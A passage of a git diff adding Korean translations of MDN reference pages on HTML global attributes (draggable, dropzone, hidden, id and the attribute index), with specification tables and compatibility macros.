+<p><code>draggable</code>을 지정하지 않은 경우의 기본값은 <code>auto</code>로, 브라우저 기본 동작을 따릅니다. 즉, 텍스트 선택 영역, 이미지, 링크 외에는 드래그가 불가능합니다. <a href="/ko/docs/Web/API/HTML_Drag_and_Drop_API/Drag_operations">종합 예제</a>에서 볼 수 있듯, 다른 요소에 드래그 앤 드롭을 적용하려면 {{domxref('GlobalEventHandlers.ondragstart', 'ondragstart')}} 이벤트 처리기가 필요합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "interaction.html#the-draggable-attribute", "draggable")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5.2", "interaction.html#the-draggable-attribute", "draggable")}}</td>
+ <td>{{Spec2("HTML5.2")}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5.1", "editing.html#the-draggable-attribute", "draggable")}}</td>
+ <td>{{Spec2("HTML5.1")}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.draggable")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/dropzone/index.html b/files/ko/web/html/global_attributes/dropzone/index.html
new file mode 100644
index 0000000000..15d26aad15
--- /dev/null
+++ b/files/ko/web/html/global_attributes/dropzone/index.html
@@ -0,0 +1,53 @@
+---
+title: dropzone
+slug: Web/HTML/Global_attributes/dropzone
+tags:
+ - Deprecated
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/dropzone
+---
+<div>{{HTMLSidebar("Global_attributes")}}{{deprecated_header}}</div>
+
+<p><strong><code>dropzone</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 열거형 속성으로 한 요소에 어떤 형식의 컨텐츠가 <a href="/En/DragDrop/Drag_and_Drop">Drag and Drop API</a>를 이용해 드랍될 수 있는지를 나타냅니다. 이 속성은 다음의 값을 가질 수 있습니다:</p>
+
+<ul>
+ <li><code>copy</code>, 드랍할 때 드래그되는 요소의 사본이 생성됨을 나타냅니다.</li>
+ <li><code>move</code>, 드래그되는 요소가 새로운 위치로 이동할 것임을 나타냅니다.</li>
+ <li><code>link</code>, 드래그되는 데이터에 대한 링크가 생성될 것임을 나타냅니다.</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "interaction.html#the-dropzone-attribute", "dropzone")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "editing.html#the-dropzone-attribute", "dropzone")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.dropzone")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/hidden/index.html b/files/ko/web/html/global_attributes/hidden/index.html
new file mode 100644
index 0000000000..7e4cc9f05f
--- /dev/null
+++ b/files/ko/web/html/global_attributes/hidden/index.html
@@ -0,0 +1,69 @@
+---
+title: hidden
+slug: Web/HTML/Global_attributes/hidden
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/hidden
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><strong><code>hidden</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 해당 요소가 아직, 또는 더 이상 관련이 없음을 나타내는 불리언 특성입니다.</span> 브라우저는 <code>hidden</code> 속성을 설정한 요소를 렌더링 하지 않습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-hidden.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>하나의 표시 방식에서만 숨기려 할 땐 <code>hidden</code> 특성이 적합하지 않습니다. 임의의 요소에 <code>hidden</code>을 추가하면, 그 요소는 시각적 방식 외에도 스크린 리더 등 다른 모든 표시 방식에서 숨겨집니다.</p>
+
+<p>숨겨지지 않은 요소에서 숨겨진 요소로 연결해서는 안됩니다. 또한, 숨겨진 요소의 자손 요소는 여전히 활성 상태이므로, {{htmlelement("script")}} 요소를 실행할 수 있고 양식 요소도 제출할 수 있습니다. 그러나 스크립트와 요소는 다른 맥락에서 숨겨진 요소를 참조할 수 있습니다.</p>
+
+<p>예를 들어, <code>hidden</code> 특성을 적용한 구획으로 링크하는 <code>href</code> 특성은 유효하지 않습니다. 콘텐츠가 사용할 수 없거나 더는 관련이 없으면 연결할 이유도 없기 때문입니다.</p>
+
+<p>하지만, 숨겨진 설명문을 참조하기 위해 ARIA <code>aria-</code><code>describedby</code> 특성을 사용하는 것은 괜찮습니다. 숨겨진 설명문 자체로는 쓸모가 없음을 나타내지만 특정 문맥, 즉 자신이 설명하는 요소에서 참조하는 경우 쓸모가 생깁니다.</p>
+
+<p>위와 유사하게, <code>hidden</code> 특성을 적용한 {{htmlelement("canvas")}} 요소는 스크립트로 작성한 그래픽 엔진에 의해 화면 외 버퍼로 쓰일 수 있고, 숨겨진 양식 요소도 <code>form</code> 특성을 통해 양식 컨트롤에서 참조할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>hidden</code> 특성을 가진 요소의 CSS {{cssxref("display")}} 속성 값을 변경하면 특성으로 인한 동작을 재정의합니다. 예컨대 <code>display: flex</code>를 지정한 요소는 <code>hidden</code> 특성이 존재하더라도 화면에 보이게 됩니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "interaction.html#the-hidden-attribute", "hidden")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "rendering.html#hiddenCSS", "Hidden elements")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Defines the suggested default rendering of the <code>hidden</code> attribute using CSS</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "hidden")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.hidden")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/en-US/docs/Web/HTML/Global_attributes">전역 속성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/id/index.html b/files/ko/web/html/global_attributes/id/index.html
new file mode 100644
index 0000000000..034fc62ac1
--- /dev/null
+++ b/files/ko/web/html/global_attributes/id/index.html
@@ -0,0 +1,72 @@
+---
+title: id
+slug: Web/HTML/Global_attributes/id
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+ - Web
+translation_of: Web/HTML/Global_attributes/id
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>id</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 문서 전체에서 유일한 고유식별자(ID)를 정의합니다.</span> 고유식별자의 목적은 <a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web#프래그먼트">프래그먼트 식별자</a>를 사용해 요소를 가리킬 때와 스크립트 및 스타일 적용 시 특정 요소를 식별하기 위함입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-id.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<div class="blockIndicator warning">
+<p><code>id</code> 특성의 값은 불투명 문자열(opaque string)입니다. 그 말은, 웹 작성자가 <code>id</code> 특성을 통해 사람이 읽을 수 있는 정보를 나타내서는 안된다는 것입니다. (코드 가독성 차원에서는 유용할 수 있습니다. <code>ticket-18569</code>와 <code>r45tgfe-freds&amp;$@</code>을 비교해보세요.)</p>
+</div>
+
+<p><code>id</code> 특성의 값이 공백(스페이스나 탭 등)을 포함해서는 안됩니다. 공백으로 값을 구분하는 {{htmlattrxref("class")}} 속성과 달리, 하나의 요소는 하나의 ID만 가질 수 있습니다. 만약 ID에 공백을 넣는다면, 브라우저는 그 공백마저 ID의 일부로 취급합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> {{glossary("ASCII")}} 문자, 숫자, <code>'_'</code>, <code>'-'</code> 및 <code>'.'</code>를 제외한 문자는 HTML 4에서 허용하지 않았으므로 호환성 문제가 발생할 수 있습니다. 이런 제한은 HTML 5에서는 해제되었으나, 호환성을 위해, ID는 위의 문자로 시작해야 합니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "dom.html#the-id-attribute", "id")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, now accept <code>'_'</code>, <code>'-'</code> and <code>'.'</code> if not at the beginning fo the id. It is also a true global attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#adef-id', 'id')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.id")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li><code>id</code> 특성을 반영하는 {{domxref("Element.id")}} 속성.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/index.html b/files/ko/web/html/global_attributes/index.html
new file mode 100644
index 0000000000..ea6735bd27
--- /dev/null
+++ b/files/ko/web/html/global_attributes/index.html
@@ -0,0 +1,166 @@
+---
+title: 전역 특성
+slug: Web/HTML/Global_attributes
+tags:
+ - Attribute
+ - HTML
+ - Reference
+ - Web
+ - 특성
+translation_of: Web/HTML/Global_attributes
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<div class="summary">
+<p><strong>전역 특성</strong>(Global attributes)은 모든 HTML에서 공통으로 사용할 수 있는 특성입니다. 그러나 일부 요소에는 아무런 효과도 없을 수 있습니다.</p>
+</div>
+
+<p>전역 특성은 모든 <a href="/ko/docs/Web/HTML/Element">HTML 요소</a>에 지정할 수 있으며, 심지어 표준에 명시되지 않은 요소에도 지정할 수 있습니다. 이는, 비표준 요소를 사용하는 순간 문서가 HTML5를 준수하지 않음에도 불구하고, 비표준 요소 역시 전역 특성을 허용해야 함을 의미합니다. 예를 들어, HTML5를 준수하는 브라우저라면, <code>&lt;foo&gt;</code>라는 요소는 유효하지 않지만 그래도 <code>&lt;foo hidden&gt;...&lt;/foo&gt;</code>는 화면에 나타내지 않을 것입니다.</p>
+
+<p>기본 HTML 전역 특성 외에 아래와 같은 전역 특성도 존재합니다.</p>
+
+<ul>
+ <li>{{htmlattrdef("xml:lang")}}과 {{htmlattrdef("xml:base")}}는 XHTML 명세에서 상속받은 것으로 더 사용하지 않지만, 호환성 유지를 위해 아직 존재합니다.</li>
+ <li>여러 개의 <code><strong><a href="/ko/docs/Web/Accessibility/ARIA">aria-*</a></strong></code> 특성은 접근성 향상을 위해 사용됩니다.</li>
+ <li><a href="/ko/docs/Web/Guide/Events/Event_handlers">이벤트 처리기</a> 특성: <code><strong>onabort</strong></code>, <code><strong>onautocomplete</strong></code>, <code><strong>onautocompleteerror</strong></code>, <code><strong>onblur</strong></code>, <code><strong>oncancel</strong></code>, <code><strong>oncanplay</strong></code>, <code><strong>oncanplaythrough</strong></code>, <code><strong>onchange</strong></code>, <code><strong>onclick</strong></code>, <code><strong>onclose</strong></code>, <code><strong>oncontextmenu</strong></code>, <code><strong>oncuechange</strong></code>, <code><strong>ondblclick</strong></code>, <code><strong>ondrag</strong></code>, <code><strong>ondragend</strong></code>, <code><strong>ondragenter</strong></code>, <code><strong>ondragexit</strong></code>, <code><strong>ondragleave</strong></code>, <code><strong>ondragover</strong></code>, <code><strong>ondragstart</strong></code>, <code><strong>ondrop</strong></code>, <code><strong>ondurationchange</strong></code>, <code><strong>onemptied</strong></code>, <code><strong>onended</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onfocus</strong></code>, <code><strong>oninput</strong></code>, <code><strong>oninvalid</strong></code>, <code><strong>onkeydown</strong></code>, <code><strong>onkeypress</strong></code>, <code><strong>onkeyup</strong></code>, <code><strong>onload</strong></code>, <code><strong>onloadeddata</strong></code>, <code><strong>onloadedmetadata</strong></code>, <code><strong>onloadstart</strong></code>, <code><strong>onmousedown</strong></code>, <code><strong>onmouseenter</strong></code>, <code><strong>onmouseleave</strong></code>, <code><strong>onmousemove</strong></code>, <code><strong>onmouseout</strong></code>, <code><strong>onmouseover</strong></code>, <code><strong>onmouseup</strong></code>, <code><strong>onmousewheel</strong></code>, <code><strong>onpause</strong></code>, <code><strong>onplay</strong></code>, <code><strong>onplaying</strong></code>, <code><strong>onprogress</strong></code>, <code><strong>onratechange</strong></code>, <code><strong>onreset</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onseeked</strong></code>, <code><strong>onseeking</strong></code>, <code><strong>onselect</strong></code>, <code><strong>onshow</strong></code>, <code><strong>onsort</strong></code>, <code><strong>onstalled</strong></code>, <code><strong>onsubmit</strong></code>, <code><strong>onsuspend</strong></code>, <code><strong>ontimeupdate</strong></code>, <code><strong>ontoggle</strong></code>, <code><strong>onvolumechange</strong></code>, <code><strong>onwaiting</strong></code>.</li>
+</ul>
+
+<h2 id="전역_특성_목록">전역 특성 목록</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/accesskey">{{htmlattrdef("accesskey")}}</a></dt>
+ <dd>현재 요소에 대한 키보드 단축키 생성을 위한 힌트를 제공합니다. 이 특성은 공백으로 구분한 문자 목록으로 구성됩니다. 브라우저는 주어진 여러 개의 값 중 장치의 키보드 레이아웃에 존재하는 첫 번째 키를 사용해야 합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/autocapitalize">{{htmlattrdef("autocapitalize")}}</a></dt>
+ <dd>사용자가 입력 또는 수정하는 텍스트를 자동으로 대문자로 변환할지 여부와 변환하는 방법을 제어합니다. 다음과 같은 값이 가능합니다.
+ <ul>
+ <li><code>off</code> 또는 <code>none</code>, 대소문자 자동 변환이 발생하지 않음 (모든 글자가 기본값 소문자)</li>
+ <li><code>on</code> 또는 <code>sentences</code>, 각 문장의 첫 글자를 대문자로 변환, 나머지 글자는 기본값 소문자</li>
+ <li><code>words</code>, 각 단어의 첫 글자를 대문자로 변환, 나머지 글자는 기본값 소문자</li>
+ <li><code>characters</code>, 모든 글자의 기본값이 대문자</li>
+ </ul>
+ </dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/class">{{htmlattrdef("class")}}</a></dt>
+ <dd>공백으로 구분된 해당 요소의 클래스의 목록입니다. 클래스를 이용하면 CSS나 JavaScript에서 <a href="/ko/docs/Web/CSS/Class_selectors">클래스 선택자</a>나 {{domxref("Document.getElementsByClassName()")}}과 같은 메서드를 이용해 특정 요소를 선택하거나 접근할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/contenteditable">{{htmlattrdef("contenteditable")}}</a></dt>
+ <dd>해당 요소를 사용자가 편집할 수 있는지를 나타내는 열거형 특성입니다. 편집 가능한 경우에 브라우저는 편집을 허용하도록 위젯을 수정합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/data-*">{{htmlattrdef("data-*")}}</a></dt>
+ <dd>사용자 지정 데이터 특성(custom data attributes)이라는 특성 클래스를 형성함으로써 임의의 데이터를 스크립트로 <a href="/ko/docs/Web/HTML" title="en/HTML">HTML</a>과 <a href="/ko/docs/Web/API/Document_Object_Model" title="en/DOM">DOM</a> 사이에서 교환할 수 있는 방법을 제공합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/dir">{{htmlattrdef("dir")}}</a></dt>
+ <dd>요소의 쓰기 방향을 나타내는 열거형 특성입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/draggable">{{htmlattrdef("draggable")}}</a></dt>
+ <dd><a href="/ko/docs/Web/API/HTML_드래그_앤_드롭_API">Drag and Drop API</a>를 사용해 요소를 드래그할 수 있는지 나타내는 열거형 특성입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/exportparts">{{htmlattrdef("exportparts")}}</a> {{experimental_inline}}</dt>
+ <dd>중첩 섀도우 트리에서 섀도우 파트를 전이적으로 라이트 파트에 내보낼 때 사용합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/hidden">{{htmlattrdef("hidden")}}</a></dt>
+ <dd>해당 요소가 아직, 또는 더 이상 관련이 없음을 나타내는 불리언 특성입니다. 브라우저는 <code>hidden</code> 특성을 가진 요소를 렌더링 하지 않습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/id">{{htmlattrdef("id")}}</a></dt>
+ <dd>문서 전체에서 유일해야 하는 고유 식별자(ID)를 정의합니다. (프래그먼트 식별자를 사용한) 링크, 스크립트, 스타일 적용 시 요소를 식별할 때 사용합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/inputmode">{{htmlattrdef("inputmode")}}</a></dt>
+ <dd>사용자가 요소나 요소의 콘텐츠를 편집할 때, 브라우저가 제공해야 하는 가상 키보드 설정을 알려줍니다. 주로 {{htmlelement("input")}} 요소에 사용하지만, {{htmlattrxref("contenteditable")}} 특성을 가진 요소라면 종류 불문하고 사용할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/is">{{htmlattrdef("is")}}</a></dt>
+ <dd>표준 HTML 요소가 사용자 정의 기본 요소처럼 동작하도록 지정합니다. (자세한 내용은 <a href="/ko/docs/Web/Web_Components/Using_custom_elements">사용자 정의 요소 사용하기</a>를 참고하세요<a href="/ko/docs/Web/Web_Components/Using_custom_elements">)</a></dd>
+</dl>
+
+<div class="note">
+<p><strong>참고: </strong><code>item*</code> 특성은 <a class="external" href="https://html.spec.whatwg.org/multipage/microdata.html#microdata">WHATWG HTML Microdata feature</a>의 일부입니다.</p>
+</div>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/itemid">{{htmlattrdef("itemid")}}</a></dt>
+ <dd>아이템의 고유하고 전역적인 식별자입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/itemprop">{{htmlattrdef("itemprop")}}</a></dt>
+ <dd>아이템에 특성(properties)을 추가할 때 사용합니다. 모든 HTML 요소에는 이름과 값의 쌍으로 구성된 <code>itemprop</code> 특성을 명시할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/itemref">{{htmlattrdef("itemref")}}</a></dt>
+ <dd><code>itemscope</code> 특성을 가진 요소에 속하지 않는 특성들(properties)은 <code>itemref</code>를 사용하여 item에 연결할 수 있습니다. 여기에는 문서 내의 다른 위치에 있는 추가적인 특성을 갖는 요소 id(<code>itemid</code>s 가 아닌)목록이 제공됩니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/itemscope">{{htmlattrdef("itemscope")}}</a></dt>
+ <dd><code>itemscope</code>은 (일반적으로) {{htmlattrxref("itemtype")}}과 같이 사용하여 블록에 포함된 HTML이 특정 item에 대한 것임을 나타냅니다. <code>itemscope</code>은 item을 생성하고 그 item에 연결된 <code>itemtype</code>의 범위를 정의합니다. <code>itemtype</code>은 item과 특성 컨텍스트를 설명하는 (<a class="external external-icon" href="https://schema.org/">schema.org</a>와 같은) 어휘(vocabulary)에 대한 유효한 URL입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/itemtype">{{htmlattrdef("itemtype")}}</a></dt>
+ <dd>데이터 구조에서 <code>itemprop</code>s (item properties)을 정의하는 데 사용할 단어의 URL을 지정합니다. <code><a href="/ko/docs/Web/HTML/Global_attributes/itemscope">itemscope</a></code>은 데이터 구조 내에서 <code>itemtype</code>에 의해 설정된 어휘가 활성화되는 범위를 설정하는 데 사용됩니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/lang">{{htmlattrdef("lang")}}</a></dt>
+ <dd>요소의 언어를 정의하는데 도움을 줍니다: 편집할 수 없는 요소가 있는 언어 또는 사용자가 요소를 편집할 수 있는 언어를 정의하는 데 도움이 됩니다(the language that non-editable elements are in, or the language that editable elements should be written in by the user). 이 특성은 언어 식별 태그(<a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt"><em>Tags for Identifying Languages (BCP47)</em></a>)에 정의된 형식의 하나의 "언어 태그"(하이픈으로 구분된 "언어 하위 태그(language subtags)"로 구성된)를 포함합니다. <a href="#attr-xml:lang"><strong>xml:lang</strong></a>은 이보다 우선합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/part">{{htmlattrdef("part")}}</a></dt>
+ <dd>A space-separated list of the part names of the element. Part names allows CSS to select and style specific elements in a shadow tree via the {{CSSxRef("::part")}} pseudo-element.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/slot">{{htmlattrdef("slot")}}</a></dt>
+ <dd>요소에 <a href="/ko/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a>의 shadow tree에 있는 슬롯을 할당합니다: <code>slot</code> 특성을 가진 요소는 {{htmlattrxref("name", "slot")}} 특성의 값이 해당 <code>slot</code> 특성의 값과 일치하는 {HTMLElement("slot")}} 요소가 생성한 슬롯에 할당됩니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/spellcheck">{{htmlattrdef("spellcheck")}}</a></dt>
+ <dd>요소의 맞춤법 검사 여부를 지정합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/style">{{htmlattrdef("style")}}</a></dt>
+ <dd>요소에 적용할 <a href="/ko/docs/Web/CSS">CSS</a> 스타일 선언을 담습니다. 단, 스타일은 별도 파일에 정의하는 것이 추천하는 방식임을 유의하세요. 이 특성과 {{HTMLElement("style")}} 요소는 테스트 등을 위한 빠른 스타일링이 주 용도입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/tabindex">{{htmlattrdef("tabindex")}}</a></dt>
+ <dd>An integer attribute indicating if the element can take input focus (is <em>focusable</em>), if it should participate to sequential keyboard navigation, and if so, at what position. It can takes several values:
+ <ul>
+ <li>a <em>negative value</em> means that the element should be focusable, but should not be reachable via sequential keyboard navigation;</li>
+ <li><code>0</code> means that the element should be focusable and reachable via sequential keyboard navigation, but its relative order is defined by the platform convention;</li>
+ <li>a <em>positive value</em> means that the element should be focusable and reachable via sequential keyboard navigation; the order in which the elements are focused is the increasing value of the <a href="#attr-tabindex"><strong>tabindex</strong></a>. If several elements share the same tabindex, their relative order follows their relative positions in the document.</li>
+ </ul>
+ </dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/title">{{htmlattrdef("title")}}</a></dt>
+ <dd>요소에 대한 추가 정보를 제공하는 텍스트입니다. 사용자에게는 보통 툴팁으로서 보여집니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/translate">{{htmlattrdef("translate")}}</a> {{experimental_inline}}</dt>
+ <dd>페이지를 지역화할 때 요소의 {{domxref("Text")}} 노드 자식 및 번역 가능한 특성의 값을 번역해야 되는지, 아니면 그대로 유지해야 하는지 나타냅니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "dom.html#global-attributes", "Global attributes")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS Shadow Parts", "#exposing")}}</td>
+ <td>{{Spec2("CSS Shadow Parts")}}</td>
+ <td>Added the <code>part</code> and <code>exportparts</code> global attributes.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5.2", "dom.html#global-attributes", "Global attributes")}}</td>
+ <td>{{Spec2("HTML5.2")}}</td>
+ <td>Snapshot of {{SpecName("HTML WHATWG")}}. From {{SpecName("HTML5.1")}}, <code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, and <code>itemtype</code> have been added.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5.1", "dom.html#global-attributes", "Global attributes")}}</td>
+ <td>{{Spec2("HTML5.1")}}</td>
+ <td>Snapshot of {{SpecName("HTML WHATWG")}}. From {{SpecName("HTML5 W3C")}}, <code>contextmenu</code>, <code>draggable</code>, <code>dropzone</code>, and <code>spellcheck</code> have been added.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "dom.html#global-attributes", "Global attributes")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Snapshot of {{SpecName("HTML WHATWG")}}. From {{SpecName("HTML4.01")}}, the concept of global attributes is introduced and the <code>dir</code>, <code>lang</code>, <code>style</code>, <code>id</code>, <code>class</code>, <code>tabindex</code>, <code>accesskey</code>, and <code>title</code> are now true global attributes.<br>
+ <code>xml:lang</code> which was initially part of XHTML, is now also part of HTML.<br>
+ <code>hidden</code>, <code>data-*</code>, <code>contenteditable</code>, and <code>translate</code> have been added.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML4.01")}}</td>
+ <td>{{Spec2("HTML4.01")}}</td>
+ <td>There are no global attributes defined. Several attributes that will become global attributes in subsequent specifications are defined on a subset of elements.<br>
+ <code>class</code> and <code>style</code> are supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br>
+ <code>dir</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br>
+ <code>id</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br>
+ <code>lang</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br>
